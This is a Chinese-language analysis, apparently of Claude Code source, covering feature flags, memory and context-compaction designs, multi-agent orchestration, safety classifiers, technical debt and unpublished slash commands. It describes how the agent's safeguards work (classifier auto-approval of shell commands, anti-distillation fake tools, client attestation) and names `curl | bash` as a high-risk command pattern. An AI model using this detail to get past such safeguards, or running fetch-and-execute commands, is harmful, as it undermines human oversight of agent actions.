注意三个动词：**research、implement、verify**。这三个阶段暗示了 Anthropic 认为的最优任务拆解粒度：先探索（读代码、搜文档），再实现（写代码、改文件），最后验证（跑测试、检查结果）。每个阶段可以由不同的 worker 完成。

### 10.2 Worker 管理

Worker 的工具集被限制了——Bash、Read、Edit、MCP 工具。没有 Agent tool（不能嵌套 spawn），没有协调能力。这是有意为之：

- **防止无限递归**：worker 不能再 spawn worker
- **控制成本**：worker 的工具少，token 消耗更可控
- **简化调试**：coordinator 可以清楚地看到每个 worker 在做什么

Scratchpad 目录是 worker 间知识共享的关键机制。Worker A 探索完代码结构后把发现写到 scratchpad，Worker B 读取后直接实现，不需要重复探索。

### 10.3 和 FORK_SUBAGENT 的取舍

这两个功能解决的问题有重叠但策略不同：

| 维度 | COORDINATOR_MODE | FORK_SUBAGENT |
|------|-----------------|---------------|
| 拓扑 | 星型（一个中心协调多个 worker） | 树型（子 agent 可以继续 fork） |
| 上下文 | Worker 只拿到任务描述，不继承上下文 | 子 agent 继承完整父上下文 |
| 适用场景 | 大任务拆解，多个独立子任务并行 | 需要上下文连续性的探索 |
| 成本 | 更可控（worker 上下文小） | 更高（完整上下文复制） |
| 互斥 | ✅ 不能同时开启 | ✅ 不能同时开启 |

代码注释明确说两者互斥——选择哪个取决于任务特性：需要并行拆解用 Coordinator，需要上下文继承用 Fork。

---

## 十一、剩余 Flag 深度分析

### 11.1 `TEAMMEM` — 团队协作成员（51 次引用）

引用量排第三的 flag，已经深度集成到记忆系统、消息展示和记忆提取三个子系统里。

**记忆路径层**（`memdir/memdir.ts`）：

```typescript
if (feature('TEAMMEM')) {
  if (teamMemPaths!.isTeamMemoryEnabled()) {
    const autoDir = getAutoMemPath()
    const teamDir = teamMemPaths!.getTeamMemPath()
    await ensureMemoryDirExists(teamDir)
    // ...
  }
}
```

TEAMMEM 在自动记忆目录下创建一个 `team/` 子目录。关键细节：注释里明确说 KAIROS daily-log 模式优先于 TEAMMEM——append-only 日志范式和团队共享 MEMORY.md 不兼容，所以两者互斥。这说明 Anthropic 在认真思考"AI 自主模式"和"团队协作模式"怎么共存。

**消息展示层**（`components/messages/`）：

```typescript
// CollapsedReadSearchContent.tsx
const hasTeamMemoryOps = feature('TEAMMEM')
  ? teamMemCollapsed!.checkHasTeamMemOps(message) : false
// SystemTextMessage.tsx
t1 = feature("TEAMMEM") ? teamMemSaved.teamMemSavedPart(message) : null
```

TEAMMEM 有专门的消息渲染组件——`teamMemCollapsed.tsx` 和 `teamMemSaved.ts`。这些不是 stub，是完整的 UI 组件，会在消息流里展示团队记忆的保存/读取状态。

**记忆提取层**（`services/extractMemories/extractMemories.ts`）：

```typescript
const teamMemoryEnabled = feature('TEAMMEM')
// ...
if (feature('TEAMMEM') && teamMemoryEnabled) {
  // 团队记忆提取逻辑
}
```

记忆提取系统在 TEAMMEM 开启时会同时处理个人记忆和团队记忆——把对话中有价值的信息提取到团队共享的 MEMORY.md 里。

**判断**：51 次引用 + 3 个子系统的实际集成 + 专门的 UI 组件 = 这个功能已经接近 GA 级别的成熟度。只差公开文档和用户引导。

### 11.2 `BASH_CLASSIFIER` — Bash 命令安全分级（45 次引用）

和 TRANSCRIPT_CLASSIFIER 配对工作。后者管"这个对话该不该自动审批"，前者管"这个 shell 命令该不该自动执行"。从代码看，它已经深度嵌入权限处理的每一个层级。

**权限对话层**（`BashPermissionRequest.tsx`）——11 个引用点：

```typescript
// classifierCheckInProgress 控制"正在检查"的 loading 状态
const [classifierWasChecking] = useState(
  feature('BASH_CLASSIFIER')
    ? !!toolUseConfirm.classifierCheckInProgress : false)

// classifierAutoApproved 决定是否跳过用户确认
isActive: feature('BASH_CLASSIFIER')
  ? !!toolUseConfirm.classifierAutoApproved : false

// 自动审批时，选项变灰、dim 显示
isDisabled={feature('BASH_CLASSIFIER')
  ? toolUseConfirm.classifierAutoApproved : false}
```

分类器判定安全时（`classifierAutoApproved = true`），权限对话框进入特殊状态——选项变灰、自动勾选 `yes-classifier-reviewed`。用户不需要确认，但能看到"AI 已审查过这条命令"的提示。

**结果展示层**（`UserToolSuccessMessage.tsx`）：命令执行成功后，旁边显示分类器的判定依据——让用户知道为什么这条命令被放行或拦截。

**结构化 IO 层**（`cli/structuredIO.ts`）：`BASH_CLASSIFIER || TRANSCRIPT_CLASSIFIER` 共享同一个结构化输出通道——说明两个分类器是统一设计的，不是两套独立系统。

**子 agent 也继承**：coordinator handler、swarm worker handler、interactive handler 都检查 BASH_CLASSIFIER——说明安全分级不限于主 agent，是全局生效的。

**判断**：45 次引用遍布权限对话、结果展示、结构化输出、多处理器——安全分级不是附加功能，是整个工具执行管线的安全基座。Auto 模式完全依赖它来决定哪些命令可以自动执行。

### 11.3 `WEB_BROWSER_TOOL` — 内置 Web 浏览器（4 次引用）

引用少不代表不重要——浏览器工具本身功能很重，flag 只控制是否暴露入口。从 `web_browser` 工具的实现来看，它是一个完整的 headless 浏览器集成，支持页面导航、元素点击、表单填写、截图。

这和 OpenClaw 的 browser skill 类似，但内建在 Claude Code 里意味着它可以和代码操作深度结合——比如自动登录文档网站抓 API reference，或者在 CI 失败时自动打开构建日志页面分析错误。

### 11.4 `DIRECT_CONNECT` — 直连模式（5 次引用）

允许 Claude Code 不经过 Anthropic API 代理，直连模型端点。这在以下场景有用：
- 企业内网部署（自建推理服务）
- 使用第三方模型 provider
- 减少延迟（跳过中间层）

5 次引用说明它是一个基础设施级功能，不需要在业务逻辑中频繁判断——一次判断后，整个连接路径就确定了。

### 11.5 `NATIVE_CLIENT_ATTESTATION` — 原生客户端证明（1 次引用）

这是安全基础设施。客户端证明（client attestation）是一种验证"请求确实来自合法客户端"的机制——防止有人用脚本直接调 API 冒充 Claude Code。

结合 `ANTI_DISTILLATION_CC`（注入假工具定义）来看，Anthropic 在 API 层面构建了一套反滥用体系：
1. 验证客户端身份（NATIVE_CLIENT_ATTESTATION）
2. 防止输出被蒸馏（ANTI_DISTILLATION_CC）
3. 命令安全分级（BASH_CLASSIFIER + TRANSCRIPT_CLASSIFIER）

这三道防线覆盖了"谁在调用"、"数据怎么保护"、"操作怎么管控"三个维度。

### 11.6 `CONTEXT_COLLAPSE` 详细机制

前面提了 90%/95% 阈值，补充关键设计：

CONTEXT_COLLAPSE 和普通的上下文压缩（compact）不同。普通 compact 是"被动压缩"——上下文满了再压缩。CONTEXT_COLLAPSE 是"主动管理"——它持续监控上下文使用率，在到达临界点前就开始做增量压缩。

`marble_origami` 条件判断很有趣——这似乎是某个特定的请求来源标记，说明 CONTEXT_COLLAPSE 对不同类型的请求有不同的策略。某些来源的请求可能不适合被压缩（比如需要完整历史的长对话）。

代码里的 "90% commit / 95% blocking-spawn flow" 描述了一种两级背压机制：
- 90% 时开始压缩（commit 压缩 = 把旧的对话轮次压缩成摘要）
- 95% 时阻塞新的子 agent 创建（防止在即将溢出时还开新任务）

### 11.7 `REACTIVE_COMPACT` — 响应式压缩（仅内部，6 次引用）

标注了 "ant-only"，是 Anthropic 内部实验的另一种上下文管理策略。核心思路完全不同：不主动压缩，等 API 返回 prompt-too-long 错误时再响应式压缩。

**懒加载 import**（`query.ts`）：

```typescript
const reactiveCompact = feature('REACTIVE_COMPACT')
  ? require('./services/compact/reactiveCompact.js') : null
const contextCollapse = feature('CONTEXT_COLLAPSE')
  ? require('./services/contextCollapse/index.js') : null
```

注意：REACTIVE_COMPACT 和 CONTEXT_COLLAPSE 是**并列的懒加载**——代码同时导入两个模块，说明它们可以共存，不是互斥关系。

**和主动压缩的互斥逻辑**（`autoCompact.ts`）：

```typescript
// Reactive-only mode: suppress proactive autocompact, let reactive compact
// catch the API's prompt-too-long.
if (feature('REACTIVE_COMPACT')) {
  if (getFeatureValue_CACHED_MAY_BE_STALE('tengu_cobalt_raccoon', false)) {
    return false  // 抑制主动 autocompact
  }
}
```

当 REACTIVE_COMPACT 开启时，主动压缩（autoCompact）会被抑制。策略是：不提前压缩，等 API 返回 prompt-too-long 错误时再响应式压缩。优点是不影响正常对话流程，缺点是有一次请求失败的代价。

**分析器也感知**（`analyzeContext.ts`）：

```typescript
if (feature('REACTIVE_COMPACT')) {
  if (getFeatureValue_CACHED_MAY_BE_STALE('tengu_cobalt_raccoon', false)) {
    skipReservedBuffer = true  // 不预留 token 缓冲区
  }
}
```

上下文分析器在 REACTIVE_COMPACT 开启时会跳过 token 预留缓冲区——因为不需要提前为压缩留空间，响应式压缩会在溢出时处理。

**判断**：这种"懒策略"和 CONTEXT_COLLAPSE 的"激进策略"形成对比——一个是提前管理（90%/95% 阈值），一个是事后补救。两者同时存在说明 Anthropic 还在探索哪种上下文管理范式更好。`tengu_cobalt_raccoon` 的命名（cobalt 浣熊）延续了宝石/动物的 GrowthBook 命名惯例。

### 11.8 `VOICE_MODE` 补充分析

语音模式依赖 Anthropic OAuth 而非 API key，这是因为 `voice_stream` 端点是 claude.ai 独有的——它走的是实时流式语音合成，不是标准的 text-to-text API。

GrowthBook kill-switch `tengu_amber_quartz_disabled` 的命名说明 Anthropic 用宝石命名 kill-switch（amber quartz = 琥珀石英），这是一个有趣的内部命名惯例。

keychain token 读取 20-50ms 的冷启动成本在语音场景下是有意义的——语音交互对延迟敏感，任何卡顿都会被用户感知。

---

## 十二、架构层分析

从 flag 分布可以推断 Claude Code 的代码架构至少分五层：

```
┌─────────────────────────────────────────┐
│  Layer 5: 体验层                         │
│  BUDDY, AUTO_THEME, MESSAGE_ACTIONS     │
├─────────────────────────────────────────┤
│  Layer 4: 编排层                         │
│  COORDINATOR_MODE, FORK_SUBAGENT,       │
│  BG_SESSIONS, VERIFICATION_AGENT        │
├─────────────────────────────────────────┤
│  Layer 3: 自主层                         │
│  KAIROS, PROACTIVE, AGENT_TRIGGERS,     │
│  KAIROS_DREAM, KAIROS_CHANNELS          │
├─────────────────────────────────────────┤
│  Layer 2: 安全层                         │
│  TRANSCRIPT_CLASSIFIER, BASH_CLASSIFIER,│
│  ANTI_DISTILLATION_CC,                  │
│  NATIVE_CLIENT_ATTESTATION              │
├─────────────────────────────────────────┤
│  Layer 1: 基础设施层                     │
│  CONTEXT_COLLAPSE, HISTORY_SNIP,        │
│  CACHED_MICROCOMPACT, TOKEN_BUDGET,     │
│  PROMPT_CACHE_BREAK_DETECTION,          │
│  DIRECT_CONNECT, UDS_INBOX              │
└─────────────────────────────────────────┘
```

每一层都依赖下层，但层内功能可以独立开关。这是典型的 feature flag 架构——新功能通过 flag 灰度发布，不需要改核心流程。

Layer 1 是最基础的——没有上下文管理和 token 控制，上面什么都跑不起来。Layer 2 是安全门——任何自动化操作都必须经过安全检查。Layer 3 是 KAIROS 自主能力。Layer 4 是多 agent 编排。Layer 5 是用户体验。

这个分层说明 Claude Code 的代码架构相当成熟——不是所有功能堆在一起，而是有清晰的职责边界。

---

## 十三、竞品对比：用 feature flag 视角看差异化

### 13.1 功能矩阵

| 能力 | Claude Code (flag) | Cursor | Windsurf | GitHub Copilot |
|------|-------------------|--------|----------|----------------|
| 自主运行 | KAIROS (154 引用) | 无 | Cascade (有限) | 无 |
| 多 Agent 编排 | COORDINATOR_MODE (32) + FORK_SUBAGENT (4) | 无 | 无 | Copilot Workspace (早期) |
| 语音交互 | VOICE_MODE (46) | 无 | 无 | 无 |
| 虚拟宠物 | BUDDY (16) | 无 | 无 | 无 |
| 设备桥接 | BRIDGE_MODE (28) | 无 | 无 | 无 |
| 反蒸馏 | ANTI_DISTILLATION_CC | 无 | 无 | 无 |
| 命令安全分级 | BASH_CLASSIFIER (45) + TRANSCRIPT_CLASSIFIER (107) | 基础规则 | 无 | 无 |
| 记忆系统 | KAIROS_DREAM (1) + EXTRACT_MEMORIES (7) | Rules (手动) | Memories (简单) | 无 |
| 定时任务 | AGENT_TRIGGERS (11) | 无 | 无 | 无 |
| 团队协作 | TEAMMEM (51) | 无 | 无 | Copilot Org |
| 上下文管理 | CONTEXT_COLLAPSE (20) + REACTIVE_COMPACT (4) + CACHED_MICROCOMPACT (12) | 自动索引 | 自动索引 | 有限 |
| 远程规划 | ULTRAPLAN (10) | 无 | 无 | 无 |
| Token 预算 | TOKEN_BUDGET (9) | 无 | 无 | 无 |
| Web 浏览器 | WEB_BROWSER_TOOL (4) | 无 | 内置 | 无 |
| 快速搜索 | QUICK_SEARCH (5) | Cmd+K | 无 | 无 |

### 13.2 用 feature flag 数量做结构化对比

| 维度 | Claude Code | Cursor | Windsurf | Copilot |
|------|------------|--------|----------|---------|
| Feature flag 总数 | **75**（源码确认） | ~10（公开猜测） | ~5（极少公开） | ~15（VS Code 插件标准） |
| 自主能力 flag 数 | 6 (KAIROS 系列) | 0 | 1 (Cascade) | 0 |
| 安全相关 flag 数 | 4 (BASH/TRANSCRIPT/ANTI_DISTILL/ATTESTATION) | 1 | 0 | 0 |
| 体验层 flag 数 | 3 (BUDDY/AUTO_THEME/MESSAGE_ACTIONS) | 0 | 0 | 0 |

75 个 flag 是什么概念？这意味着 Claude Code 的每一个大功能——自主运行、多 agent 编排、语音、宠物、安全分级、记忆系统——都用编译时 flag 做了独立门控。竞品几乎没有这个级别的功能粒度控制。

### 13.3 Claude Code 能做但竞品做不了的事

**1. 编译时功能裁剪**。Claude Code 用 `bun:bundle` 的 `feature()` 做死代码消除——没开的 flag，相关代码直接从产物里移除。这意味着内部版和公开版可以是完全不同的二进制，但共享同一份源码。Cursor 和 Copilot 是 Electron/VS Code 插件，做不到这个粒度。

**2. 安全分类器内建在工具执行路径里**。BASH_CLASSIFIER 在 11 个权限处理器中有引用——不只是在工具调用前检查一次，而是嵌入了权限对话、结果展示、结构化输出等全链路。竞品的安全是外挂的（规则列表），Claude Code 的安全是内建的。

**3. KAIROS 的 tick 循环**。没有任何竞品有类似的"AI 空闲时自己找事做"的机制。Cursor 的 Agent 模式是用户触发的，Windsurf 的 Cascade 也是交互式的。KAIROS 的 `<tick>` + Sleep 工具是真正的自主运行——你下班了，AI 还在帮你跑 CI、修 lint、整理文档。

**4. BUDDY 无竞品**。没有其他工具在 CLI 里做虚拟宠物。这听起来像个笑话，但它代表的产品哲学是认真的：工具可以有情感连接。在 AI 工具同质化到"换个 logo 都分不清"的市场里，BUDDY 是真正的差异化。

### 13.4 竞品做得到但 Claude Code 做不到的事

公平起见也要说：

- **Cursor 的 IDE 集成更深**。它不是一个 CLI 工具，它直接替代你的编辑器。代码补全、inline diff、多文件编辑的 UX 远比终端体验好。
- **Windsurf 的 Cascade 有更流畅的 UI 交互**。视觉化的 agent 工作流展示比终端里的文字输出直观得多。
- **Copilot 的生态覆盖面最广**。VS Code、JetBrains、Neovim、Web——哪里都能用。Claude Code 目前只有终端。
- **Devin 的全自主模式更成熟**。毕竟是一个独立产品，从第一天就围绕自主模式设计的。Claude Code 的 KAIROS 还在从"工具"往"员工"的转型中。

**核心判断**：Claude Code 的 75 个 flag 不是在做"功能扩展"，是在构建一个 AI 工作平台。和 Devin 的定位有重叠，但路径完全不同——Devin 是"替代程序员"，Claude Code 是"让程序员变成 AI 团队管理者"。从 feature flag 的分布看，后者的野心更大。

---

## 十四、安全体系专题

前面分散在各处的安全特性值得单独拉通看：

### 14.1 三层安全架构

**第一层：身份验证（NATIVE_CLIENT_ATTESTATION）**
- 验证请求确实来自合法的 Claude Code 客户端
- 防止 API 被脚本直接调用滥用

**第二层：数据保护（ANTI_DISTILLATION_CC）**
- 注入假工具定义，防止输出被用来训练竞品模型
- 仅在 CLI 入口 + first-party beta headers 时触发

**第三层：操作管控（BASH_CLASSIFIER + TRANSCRIPT_CLASSIFIER）**
- Bash 命令安全分级：低风险自动放行，高风险拦截
- 对话内容分类：判断是否适合自动审批

这三层覆盖了完整的安全链路：谁在调用 → 数据怎么保护 → 操作怎么管控。

### 14.2 GrowthBook Kill-Switch 体系

多个功能通过 GrowthBook feature flag 做远程控制：
- `tengu_amber_quartz_disabled` — Voice Mode kill-switch
- `tengu_cobalt_raccoon` — Reactive Compact 灰度
- `tengu_kairos_cron` — Cron 功能开关
- `tengu_ultraplan_model` — Ultraplan 模型选择
- `tengu_anti_distill_fake_tool_injection` — 反蒸馏开关

命名规律：`tengu_` 前缀 + 宝石/动物名（amber quartz、cobalt raccoon）。Tengu 是日本神话中的天狗——这可能是 Anthropic 内部的项目代号体系。

这些 flag 的默认值设计很有意思：Voice Mode 的 kill-switch 默认关闭（= 可用），需要时才打开（= 禁用）。这是一种"默认信任，紧急回退"的策略——比"默认禁用，需要时打开"更激进，说明 Anthropic 对这些功能的稳定性有信心。

### 14.3 安全模型的演化趋势

从 flag 分布看，安全从"附加层"变成了"基础设施"。TRANSCRIPT_CLASSIFIER 引用 107 次、BASH_CLASSIFIER 引用 45 次——这意味着安全检查已经深度嵌入到几乎所有工具执行路径中。

这和 AI safety 的行业趋势一致：从"事后审查"走向"内建安全"（safety by design）。Anthropic 作为 AI safety 领域的领导者，这种架构选择不意外。

---

## 十五、扩展功能成熟度矩阵

在第七节的基础上，补充更多 flag 的成熟度评估：

| 功能 | 成熟度 | 引用量 | 可见性 | 推荐动作 |
|------|--------|--------|--------|---------|
| KAIROS 核心 | ★★★★☆ | 154 | 隐藏 | GA 候选，需 UX 设计 |
| KAIROS_BRIEF | ★★★★☆ | 39 | 隐藏 | 随 KAIROS 一起 GA |
| KAIROS_CHANNELS | ★★★☆☆ | 19 | 隐藏 | 需要更多渠道集成 |
| KAIROS_PUSH_NOTIFICATION | ★★☆☆☆ | 4 | 隐藏 | 早期，等 KAIROS 先 GA |
| KAIROS_GITHUB_WEBHOOKS | ★★☆☆☆ | 3 | 隐藏 | 早期，场景明确但集成不足 |
| KAIROS_DREAM | ★★☆☆☆ | 1 | 隐藏 | 实验阶段，观察中 |
| BUDDY | ★★★★☆ | 16 | 隐藏 | 立即 GA，社交传播潜力大 |
| COORDINATOR_MODE | ★★★☆☆ | 32 | 隐藏 | 高级用户预览版 |
| FORK_SUBAGENT | ★★★☆☆ | 4 | 隐藏 | 和 Coordinator 二选一 |
| VOICE_MODE | ★★★★☆ | 46 | 部分可见 | 扩展 auth 方式 |
| AGENT_TRIGGERS | ★★★★★ | 11 | 已 GA | 已发布，继续迭代 |
| BASH_CLASSIFIER | ★★★★☆ | 45 | 内部 | Auto 模式核心，不需要单独公开 |
| TRANSCRIPT_CLASSIFIER | ★★★★☆ | 107 | 部分可见 | Auto 模式底层，不需要单独公开 |
| CONTEXT_COLLAPSE | ★★★☆☆ | 20 | 隐藏 | 和其他方案收敛 |
| REACTIVE_COMPACT | ★★☆☆☆ | 4 | 仅内部 | 实验中，可能被 CONTEXT_COLLAPSE 取代 |
| BRIDGE_MODE | ★★★★☆ | 28 | 可见 | 已有 /remote-control，继续迭代 |
| TEAMMEM | ★★★☆☆ | 51 | 隐藏 | 团队功能核心，需更多集成 |
| ANTI_DISTILLATION_CC | ★★★☆☆ | 1 | 完全隐藏 | 需要提高透明度 |
| NATIVE_CLIENT_ATTESTATION | ★★☆☆☆ | 1 | 完全隐藏 | 安全基础设施，不需要公开 |
| WEB_BROWSER_TOOL | ★★★☆☆ | 4 | 隐藏 | 和代码操作深度集成 |
| DIRECT_CONNECT | ★★★☆☆ | 5 | 隐藏 | 企业场景必备 |
| ULTRAPLAN | ★★★☆☆ | 10 | 隐藏 | 远程高级功能 |
| UDS_INBOX | ★★☆☆☆ | 17 | 隐藏 | 本地进程通信基础设施 |
| CHICAGO_MCP | ★★☆☆☆ | 16 | 隐藏 | MCP 扩展，代号阶段 |
| TOKEN_BUDGET | ★★★☆☆ | 9 | 隐藏 | 成本控制关键功能 |
| EXTRACT_MEMORIES | ★★☆☆☆ | 7 | 隐藏 | 记忆管线早期 |
| WORKFLOW_SCRIPTS | ★★☆☆☆ | 10 | 隐藏 | 自动化能力扩展 |
| EXPERIMENTAL_SKILL_SEARCH | ★★☆☆☆ | 21 | 隐藏 | 技能发现机制 |
| SHOT_STATS | ★★★☆☆ | 10 | 隐藏 | 产品数据基础设施 |
| CACHED_MICROCOMPACT | ★★★☆☆ | 12 | 隐藏 | prompt cache 优化 |

---

## 十六、开源策略推断

源码中的一致模式暗示了 Anthropic 的开源/闭源策略：

**开源的**：CLI 框架、工具接口、协议规范（MCP）
**闭源的**：安全分类器（TRANSCRIPT_CLASSIFIER、BASH_CLASSIFIER）、反蒸馏逻辑（ANTI_DISTILLATION_CC）、远程服务端点（voice_stream、CCR）

KAIROS 的 tick 循环和 Sleep 工具的设计可能是开源的——它更多是架构选择而非模型能力。但 KAIROS_DREAM 的记忆整合 prompt 可能是闭源的——这涉及具体的提示词工程。

BUDDY 的确定性生成算法是开源的好选择——它不依赖模型能力，纯粹是工程实现。开源 BUDDY 可以快速建立社区。

---

## 十七、技术债与风险点

### 17.1 Flag 爆炸：75 个分支路径的维护地狱

75 个 feature flag 不是个小数字。每个 flag 至少产生两条代码路径（开/关），理论上测试矩阵是 2^75 种组合——当然没人测全部组合，但这就是问题所在：**没有人真正知道 flag 之间的交互会产生什么边界情况。**

具体风险点：

**隐式依赖**：KAIROS 关了但 KAIROS_DREAM 开了会怎样？autoDream.ts 里有 `if (getKairosActive()) return false` 的显式检查，但其他 flag 对之间呢？比如 TEAMMEM 和 KAIROS 的互斥是通过注释说明的，不是通过代码强制的：

```typescript
// KAIROS daily-log mode takes precedence over TEAMMEM: the append-only
// log paradigm does not compose with team sync
if (feature('KAIROS') && autoEnabled && getKairosActive()) {
  return buildAssistantDailyLogPrompt(skipIndex)
}
if (feature('TEAMMEM')) {
  if (teamMemPaths!.isTeamMemoryEnabled()) { ... }
}
```

这里 TEAMMEM 分支在 KAIROS 分支之后，依赖"KAIROS 分支先 return"来实现互斥。如果有人调整了分支顺序，TEAMMEM 和 KAIROS daily-log 就会同时生效——而这个 bug 不会触发编译错误，只会在运行时产生诡异的记忆同步问题。

**REACTIVE_COMPACT 和 CONTEXT_COLLAPSE 的共存风险**：从 query.ts 的代码看，两者是并列加载的。autoCompact.ts 里 REACTIVE_COMPACT 开启时会抑制主动压缩。但如果 CONTEXT_COLLAPSE 也同时开启呢？analyzeContext.ts 里两者都设置了 `skipReservedBuffer = true`——行为一致，但逻辑是分散在不同文件里的。未来改动其中一个，另一个不会自动适配。

**Bun dead code elimination 的盲区**：编译时 flag 确实能消除未开启的代码，但它不能消除 flag 之间的逻辑依赖。如果 `feature('BUDDY')` 为 false，BUDDY 相关的代码会被移除——但如果另一个 flag 的代码引用了 BUDDY 的某个类型或常量呢？Bun 不会报错（类型擦除），运行时才会出问题。

### 17.2 Stub 命令：死代码幻觉

`backfillSessions`、`bughunter`、`autofix-pr`、`goodClaude`——这些 stub 命令保留了 import 链但移除了实现，统一格式是：

```typescript
{ isEnabled: () => false, isHidden: true, name: 'stub' }
```

短期方便（随时可以加回实现），但长期有三个问题：

1. **新人困惑**：看到 `INTERNAL_ONLY_COMMANDS` 数组里有 20+ 个命令，其中 4 个是 stub，新人无法分辨哪些是活跃功能、哪些是历史残留
2. **Import 链开销**：虽然实现被移除了，但 import 链还在。每次启动时这些模块都会被解析和评估——对 CLI 工具来说，启动时间是用户体验的关键指标
3. **安全审计负担**：安全审查时需要确认 stub 命令确实没有实现，而不是被遗漏了

### 17.3 内外代码分裂：ant vs public 的鸿沟

`USER_TYPE === 'ant'` 产生的内外分裂比表面看起来严重。

从源码看，内部版有 28 个独占命令（`/commit`、`/summary`、`/ctx_viz`、`/ultraplan` 等），外部用户一个都用不了。问题不只是"功能不公开"，而是：

**开发方向脱节**：内部员工每天用的功能（`/commit-push-pr` 一键提交+推送+创建 PR）和外部用户能用的功能完全不同。内部团队可能会觉得"提交流程已经很顺了"，但外部用户还在手动跑 `git add && git commit && git push && gh pr create`。

**QA 覆盖偏移**：内部测试覆盖的是有 28 个额外命令的完整版本。当代码通过 feature gate 裁剪后发布给外部用户时，裁剪后的版本实际上没有被独立测试过。

**API endpoint 分裂**：VOICE_MODE 走 `voice_stream`（claude.ai 独有），ULTRAPLAN 走 CCR（Claude Code Remote），这些内部端点外部用户完全不知道存在。如果外部版本的 API 请求路径和内部版有任何差异，这种分裂会放大。

### 17.4 安全分类器的级联风险

BASH_CLASSIFIER（45 次引用）和 TRANSCRIPT_CLASSIFIER（107 次引用）是 Auto 模式的安全门。这两个数字本身就是风险指标：

**152 次引用意味着改一个分类逻辑可能影响 152 个代码路径。** 从 BASH_CLASSIFIER 的代码证据看，它已经嵌入了：
- 权限对话框的 11 个引用点（`BashPermissionRequest.tsx`）
- 3 个不同 handler 的权限检查（interactive、coordinator、swarm worker）
- 结构化 IO 输出
- 工具结果展示

这不是"核心依赖"——这是**基础设施依赖**。如果分类器的某个判定规则需要修改（比如把 `curl | bash` 从"高危"改为"中危"），这个修改的影响面是全局的，而且没有自动化测试能覆盖全部 45 个引用点。

**更隐蔽的风险**：BASH_CLASSIFIER 和 TRANSCRIPT_CLASSIFIER 共享结构化输出通道（`cli/structuredIO.ts` 里是 `BASH_CLASSIFIER || TRANSCRIPT_CLASSIFIER`）。如果两个分类器的输出格式有微妙差异，共用的通道可能会产生格式不一致的问题。

### 17.5 GrowthBook 依赖的运营风险

多个核心功能依赖 GrowthBook 远程配置：
- `tengu_onyx_plover` — Dream 开关
- `tengu_amber_quartz_disabled` — Voice kill-switch
- `tengu_cobalt_raccoon` — Reactive Compact 灰度
- `tengu_kairos_cron` — Cron 功能
- `tengu_ultraplan_model` — Ultraplan 模型

如果 GrowthBook 服务不可用，这些功能的行为取决于缓存策略——`CACHED_MAY_BE_STALE` 和 `CACHED_WITH_REFRESH` 的语义不同。stale cache 意味着功能可能在 GrowthBook 恢复后的一段时间内保持旧状态，refresh cache 意味着服务不可用时功能可能直接失效。

命名规律（`tengu_` 前缀 + 宝石/动物名）暗示了 GrowthBook 在 Anthropic 内部的使用规模。如果 gate 数量继续增长到 50+，运营负担会显著增加。

---

## 十八、给 Anthropic 产品团队的 10 条具体建议

1. **BUDDY 先行**。发布成本最低，社交传播价值最高。做成 GA 后收集用户数据，为其他功能的发布策略提供参考。

2. **KAIROS 分三阶段发布**。第一阶段：Sleep 工具 + tick 循环（用户可以看到 AI "醒了"在做什么）。第二阶段：加 KAIROS_BRIEF（压缩通知，避免信息过载）。第三阶段：全自主模式 + 渠道推送。

3. **把 `/summary` 和 `/ctx_viz` 公开**。这两个命令实现已经很完善，对所有用户都有价值。不需要等其他内部命令。

4. **统一上下文管理方案**。CONTEXT_COLLAPSE、REACTIVE_COMPACT、CACHED_MICROCOMPACT、HISTORY_SNIP 四个方案需要收敛。建议以 CONTEXT_COLLAPSE 为主（最成熟），REACTIVE_COMPACT 作为 fallback。

5. **VOICE_MODE 支持 API key**。当前限制 OAuth 把大量 API key 用户排除在外。可以考虑支持 API key 走 OpenAI 兼容的 TTS 端点作为 fallback。

6. **Coordinator Mode 做公开预览**。32 次引用说明它已经比较成熟，但用户体验还不完善。可以作为"实验功能"公开，收集反馈后再打磨。

7. **ANTI_DISTILLATION 更透明**。在文档中明确说明"为保护模型知识产权，API 返回可能包含混淆内容"。提前说比被发现好。

8. **TEAMMEM 尽快定义清楚**。51 次引用但几乎没有公开信息，这会让开发者困惑。至少在 roadmap 中提一下方向。

9. **发布 Feature Flag 文档**。不需要公开所有 flag，但可以把"已 GA"和"实验中"的 flag 列出来，让用户知道哪些功能可以期待。

10. **开源 BUDDY 和部分 KAIROS 架构**。BUDDY 的确定性生成算法和 KAIROS 的 tick 循环设计不涉及模型能力，开源可以快速建立社区和信任。

---

## 十九、结论（更新版）

重新审视整份分析，核心判断不变：**Claude Code 的源码揭示了一个远超公开版本的产品野心。**

但补充三个发现：

第一，**安全是基础设施，不是功能**。TRANSCRIPT_CLASSIFIER（107 次）和 BASH_CLASSIFIER（45 次）的引用量说明安全检查已经嵌入到几乎所有执行路径。这在 AI 工具里极为罕见——大部分竞品的安全是后加的，Claude Code 的安全是内建的。

第二，**BUDDY 是有策略的冒险**。在 CLI 工具里加虚拟宠物看起来像是工程师的恶搞，但代码质量（完整的动画系统、确定性生成、观察者角色）说明这是一个认真的产品决策。它解决的是 AI 工具"冷冰冰"的品牌问题。

第三，**KAIROS 生态的完整性做得不错**。自主运行（tick 循环）→ 定时触发（cron）→ 多渠道通知（channels）→ 外部事件响应（webhooks）→ 离线记忆整理（dream）——这不是在做功能，这是在搭平台。引用 154 次确认了它的核心地位。

最后，75 个 flag 带来的技术债不容忽视。Flag 爆炸是每个快速迭代的产品都会遇到的问题——关键是在正确的时间收敛到正确的子集。

---

*分析基于 Claude Code v2.1.42 源码。2026 年 4 月更新。部分功能的状态可能与当前发布版本有差异。*
*标注"待确认"的内容缺乏足够代码证据。所有产品判断均为分析推测，不代表 Anthropic 官方立场。*

## 二十、未公开 Slash 指令完整列表

以下是代码中发现的所有未公开 slash 指令，按功能分类：

### 主动 Agent 类（KAIROS 生态）
| 指令 | 功能 | Feature Flag |
|------|------|-------------|
| `/proactive` | 切换主动模式 | PROACTIVE/KAIROS |
| `/brief` | 生成项目简报 | KAIROS/KAIROS_BRIEF |
| `/assistant` | 进入 Kairos 助理模式 | KAIROS |
| `/subscribe-pr` | 订阅 GitHub PR 更新 | KAIROS_GITHUB_WEBHOOKS |

### 子 Agent 与任务类
| 指令 | 功能 | Feature Flag |
|------|------|-------------|
| `/fork` | 分叉子 Agent 处理独立任务 | FORK_SUBAGENT |
| `/ultraplan` | 生成超详细执行计划 | ULTRAPLAN |
| `/torch` | 分布式任务执行 | TORCH |

### 会话管理类
| 指令 | 功能 | Feature Flag |
|------|------|-------------|
| `/bridge` | 启动 IDE 桥接服务 | BRIDGE_MODE |
| `/remote-control-server` | 启动远程控制服务器 | DAEMON+BRIDGE_MODE |
| `/web` | 远程环境配置和管理 | CCR_REMOTE_SETUP |
| `/peers` | 管理对等 Agent 实例 | UDS_INBOX |
